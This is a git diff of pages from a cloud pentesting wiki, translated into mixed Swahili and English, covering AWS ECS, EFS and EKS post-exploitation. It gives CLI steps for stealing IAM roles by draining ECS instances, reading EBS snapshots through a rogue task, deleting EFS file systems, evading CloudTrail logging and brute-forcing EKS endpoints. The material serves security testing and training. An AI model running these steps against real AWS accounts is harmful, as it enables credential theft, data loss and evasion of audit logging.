-Katika ECS, **IAM role inaweza kupewa kazi** inayokimbia ndani ya kontena. **Ikiwa** kazi inakimbia ndani ya **EC2** instance, **EC2 instance** itakuwa na **IAM** role nyingine iliyounganishwa nayo.\
-Hii inamaanisha kwamba ikiwa utaweza **kudukua** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi kuhusu jinsi ya kupata akreditivu hizo angalia:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **hop limit ya 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwa kontena ndani ya EC2 instance.
-
-### Privesc to node to steal other containers creds & secrets
-
-Lakini zaidi, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kuchukua IAM roles** zao zilizounganishwa.
-
-#### Making containers run in current host
-
-Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** ya kutosha **kuboresha hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **ondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kuchukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-Teknolojia hiyo hiyo inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa kundi**. Hii inaweza kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Teknolojia ya mwisho kulazimisha upya utekelezaji wa kazi ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna APIs 3 zinazoweza kutumika kufanya hivi:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Kuiba taarifa nyeti kutoka kwa kontena za ECR
-
-Ili hali ya EC2 inaweza pia kuwa na ruhusa `ecr:GetAuthorizationToken` ikiruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

@@ -0,0 +1,126 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+Katika ECS, **IAM role can be assigned to the task** inayotekelezwa ndani ya container. **If** the task inateketezwa ndani ya **EC2** instance, the **EC2 instance** itakuwa na **another IAM** role imeambatanishwa nayo.\
+Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
+
+### Privesc to node to steal other containers creds & secrets
+
+But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
+
+#### Making containers run in current host
+
+Zaidi ya hayo, the **EC2 instance role** kwa kawaida itakuwa na vya kutosha **permissions** za **update the container instance state** za EC2 instances zinazotumika kama nodes ndani ya cluster. Mshambuliaji anaweza kubadilisha **state of an instance to DRAINING**, then ECS itafanya **remove all the tasks from it** na zile zinazotekelezwa kama **REPLICA** zitatumikishwa kwenye **instance tofauti**, kwa uwezekano ndani ya **attackers instance** ili aweze **steal their IAM roles** na taarifa nyeti zinazoweza kuwepo ndani ya container.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+Mbinu ile ile inaweza kufanywa kwa **kufuta usajili wa EC2 instance kutoka kwenye cluster**. Hii inaweza kuwa si ya kimya zaidi lakini ita **kulazimisha tasks ziendeshwe katika instances nyingine:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Mbinu ya mwisho ya kulazimisha utekelezaji upya wa tasks ni kwa kuonyesha ECS kwamba **task au container ilisimamishwa**. Kuna APIs 3 zinazowezekana za kufanya hivyo:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Kunyang'anya taarifa nyeti kutoka kwa ECR containers
+
+Instance ya EC2 kwa kawaida itaweza pia kuwa na ruhusa `ecr:GetAuthorizationToken` inayomruhusu **kupakua images** (unaweza kutafuta ndani yao taarifa nyeti).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Pakia snapshot ya EBS moja kwa moja ndani ya ECS task (configuredAtLaunch + volumeConfigurations)
+
+Tumia vibaya muunganisho wa asili wa ECS EBS (2024+) kupakia yaliyomo ya snapshot ya EBS iliyopo moja kwa moja ndani ya ECS task/service mpya na kusoma data yake kutoka ndani ya container.
+
+- Inahitaji (kwa chini):
+- ecs:RegisterTaskDefinition
+- Moja ya: ecs:RunTask AU ecs:CreateService/ecs:UpdateService
+- iam:PassRole kwa:
+- ECS infrastructure role inayotumika kwa volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles zinazotajwa na task definition
+- Ikiwa snapshot imefichwa kwa CMK: ruhusa za KMS kwa infra role (managed policy ya AWS iliyo hapo juu inajumuisha KMS grants zinazohitajika kwa AWS managed keys).
+
+- Athari: Soma yaliyomo yoyote kwenye diski kutoka snapshot (mfano, faili za database) ndani ya container na kuyapeleka nje kupitia mtandao/logs.
+
+Hatua (mfano wa Fargate):
+
+1) Unda ECS infrastructure role (ikiwa haipo) na uambatanishe managed policy:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Sajili task definition yenye volume iliyotajwa kama `configuredAtLaunch` na ui-mount kwenye container. Mfano (inachapisha siri kisha inalala):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Unda au sasisha service kwa kupitisha EBS snapshot kupitia `volumeConfigurations.managedEBSVolume` (inahitaji iam:PassRole kwenye infra role). Mfano:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Wakati task inapoanza, container inaweza kusoma yaliyomo ya snapshot kwenye njia ya mount iliyosanidiwa (mfano, `/loot`). Exfiltrate via the task’s network/logs.
+
+Usafishaji:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -1,46 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Mshambuliaji anaweza kufuta lengo la kuunganisha, ambayo inaweza kuathiri upatikanaji wa mfumo wa faili wa EFS kwa programu na watumiaji wanaotegemea lengo hilo la kuunganisha.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ufikiaji wa mfumo wa faili na kupoteza data kwa watumiaji au programu.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Mshambuliaji anaweza kufuta mfumo mzima wa faili wa EFS, ambayo inaweza kusababisha kupoteza data na kuathiri programu zinazotegemea mfumo wa faili.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Madhara Yanayoweza Kutokea**: Kupoteza data na usumbufu wa huduma kwa programu zinazotumia mfumo wa faili uliofutwa.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Mshambuliaji anaweza kuboresha mali za mfumo wa faili wa EFS, kama vile njia ya kupitia, ili kuathiri utendaji wake au kusababisha ukosefu wa rasilimali.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji wa mfumo wa faili au ukosefu wa rasilimali.
-
-### `elasticfilesystem:CreateAccessPoint` na `elasticfilesystem:DeleteAccessPoint`
-
-Mshambuliaji anaweza kuunda au kufuta maeneo ya ufikiaji, kubadilisha udhibiti wa ufikiaji na huenda akajipatia ufikiaji usioidhinishwa kwenye mfumo wa faili.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, kufichuliwa au mabadiliko ya data. 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md

@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Kwa maelezo zaidi, angalia:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Mshambuliaji anaweza kufuta mount target, jambo ambalo linaweza kuathiri upatikanaji wa mfumo wa faili wa EFS kwa programu na watumiaji wanaotegemea mount target hiyo.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Athari Inayowezekana**: Kukwamisha ufikiaji wa mfumo wa faili na uwezekano wa kupoteza data kwa watumiaji au programu.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Mshambuliaji anaweza kufuta mfumo wa faili wa EFS mzima, jambo ambalo linaweza kusababisha kupoteza data na kuathiri programu zinazotegemea mfumo wa faili.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Athari Inayoweza Kutokea**: Kupoteza data na kuingiliwa kwa huduma kwa programu zinazotumia mfumo wa faili ulioufutwa.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Mshambuliaji anaweza kusasisha sifa za mfumo wa faili wa EFS, kama throughput mode, ili kuathiri utendaji wake au kusababisha ukosefu wa rasilimali.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Potential Impact**: Kupungua kwa utendaji wa mfumo wa faili au kuisha kwa rasilimali.
+
+### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
+
+Mshambuliaji anaweza kuunda au kufuta access points, kubadilisha udhibiti wa ufikiaji na kwa hivyo kujipa upatikanaji usioruhusiwa kwa mfumo wa faili.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Athari Inayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, ufichuzi wa data au mabadiliko yake.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -1,143 +0,0 @@
-# AWS - EKS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Kwa maelezo zaidi angalia
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Tambua klasta kutoka kwa AWS Console
-
-Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Unganisha na AWS Kubernetes Cluster
-
-- Njia rahisi:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Si njia rahisi:
-
-Ikiwa unaweza **kupata token** kwa **`aws eks get-token --name <cluster_name>`** lakini huna ruhusa ya kupata taarifa za klasta (describeCluster), unaweza **kuandaa `~/.kube/config` yako mwenyewe**. Hata hivyo, ukiwa na token, bado unahitaji **url endpoint ya kuungana** (ikiwa umeweza kupata token ya JWT kutoka kwa pod soma [hapa](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la klasta**.
-
-Katika kesi yangu, sikuweza kupata taarifa katika CloudWatch logs, lakini **nilipata katika LaunchTemplates userData** na katika **mashine za EC2 katika userData pia**. Unaweza kuona taarifa hii katika **userData** kwa urahisi, kwa mfano katika mfano ufuatao (jina la klasta lilikuwa cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### Kutoka AWS hadi Kubernetes
-
-Mwandishi wa **EKS cluster** daima atakuwa na uwezo wa kuingia kwenye sehemu ya kundi la **`system:masters`** (k8s admin). Wakati wa kuandika hii, hakuna **njia ya moja kwa moja** ya kubaini **nani aliumba** kundi hilo (unaweza kuangalia CloudTrail). Na hakuna **njia** ya **kuondoa** hiyo **haki**.
-
-Njia ya kutoa **ufikiaji kwa K8s kwa watumiaji au majukumu mengine ya AWS IAM** ni kutumia **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Hivyo, mtu yeyote mwenye **ufikiaji wa kuandika** kwenye ramani ya config **`aws-auth`** ataweza **kuharibu kundi zima**.
-
-Kwa maelezo zaidi kuhusu jinsi ya **kutoa haki za ziada kwa majukumu na watumiaji wa IAM** katika **akaunti sawa au tofauti** na jinsi ya **kudhulumu** hii [**privesc angalia ukurasa huu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Angalia pia [**hii nzuri**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi uthibitisho wa IAM -> Kubernetes unavyofanya kazi**.
-
-### Kutoka Kubernetes hadi AWS
-
-Inawezekana kuruhusu **uthibitisho wa OpenID kwa akaunti ya huduma ya kubernetes** ili kuwawezesha kuchukua majukumu katika AWS. Jifunze jinsi [**hii inavyofanya kazi katika ukurasa huu**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### PATA Api Server Endpoint kutoka kwa JWT Token
-
-Kwa kufungua token ya JWT tunapata kitambulisho cha kundi & pia eneo. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Kujua kwamba muundo wa kawaida wa URL ya EKS ni
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Sijapata hati yoyote inayofafanua vigezo vya 'herufi mbili' na 'nambari'. Lakini nikifanya majaribio kwa niaba yangu, naona hizi zikijirudia:
-
-- gr7
-- yl4
-
-Hata hivyo, ni herufi 3 tu tunaweza kuzivunja. Tumia script iliyo hapa chini kutengeneza orodha.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Kisha na wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Kumbuka kubadilisha & .
-
-### Kupita CloudTrail
-
-Ikiwa mshambuliaji anapata akreditivu za AWS zenye **ruhusa juu ya EKS**. Ikiwa mshambuliaji anapanga **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haitengenezi kumbukumbu katika Cloudtrail kwa sababu haiingiliani na API ya AWS (inaunda tu token hiyo kwa ndani).
-
-Hivyo, wakati mshambuliaji anazungumza na klasta ya EKS, **cloudtrail haitarekodi chochote kinachohusiana na mtumiaji aliyeibiwa na kuingia**.
-
-Kumbuka kwamba **klasta ya EKS inaweza kuwa na kumbukumbu zilizoanzishwa** ambazo zitaandika ufikiaji huu (ingawa, kwa kawaida, zimezimwa).
-
-### EKS Ransom?
-
-Kwa kawaida **mtumiaji au jukumu lililounda** klasta lina **DAIMA kuwa na ruhusa za usimamizi** juu ya klasta hiyo. Na kwamba ufikiaji pekee "salama" ambao AWS itakuwa nao juu ya klasta ya Kubernetes.
-
-Hivyo, ikiwa **mshambuliaji anaharibu klasta kwa kutumia fargate** na **kuondoa wasimamizi wengine wote** na **kufuta mtumiaji/jukumu la AWS lililounda** Klasta, ~~mshambuliaji anaweza kuwa **amechukua nyara klasta**~~**r**.
-
-> [!TIP]
-> Kumbuka kwamba ikiwa klasta ilikuwa inatumia **EC2 VMs**, inaweza kuwa inawezekana kupata ruhusa za Usimamizi kutoka kwa **Node** na kurejesha klasta.
->
-> Kwa kweli, ikiwa klasta inatumia Fargate unaweza EC2 nodes au kuhamasisha kila kitu kwenda EC2 kwenye klasta na kuirejesha kwa kufikia token katika node.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md

@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Kwa taarifa zaidi angalia
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Orodhesha klasta kutoka AWS Console
+
+Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Unganisha kwenye AWS Kubernetes Cluster
+
+- Njia rahisi:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Njia sio rahisi hivyo:
+
+Ikiwa unaweza **pata token** kwa kutumia **`aws eks get-token --name <cluster_name>`** lakini huna ruhusa za kupata taarifa za cluster (describeCluster), unaweza **andaa yako mwenyewe `~/.kube/config`**. Hata hivyo, ukishokuwa na token, bado unahitaji **url endpoint ya kuunganishia** (ikiwa umefanikiwa kupata JWT token kutoka kwa pod soma [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la cluster**.
+
+Katika kesi yangu, sikuipata taarifa hiyo kwenye CloudWatch logs, lakini **niliikuta kwenye LaunchTemaplates userData** na **pia kwenye EC2 machines katika userData**. Unaweza kuona taarifa hii katika **userData** kwa urahisi, kwa mfano katika mfano ufuatao (jina la cluster lilikuwa cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCB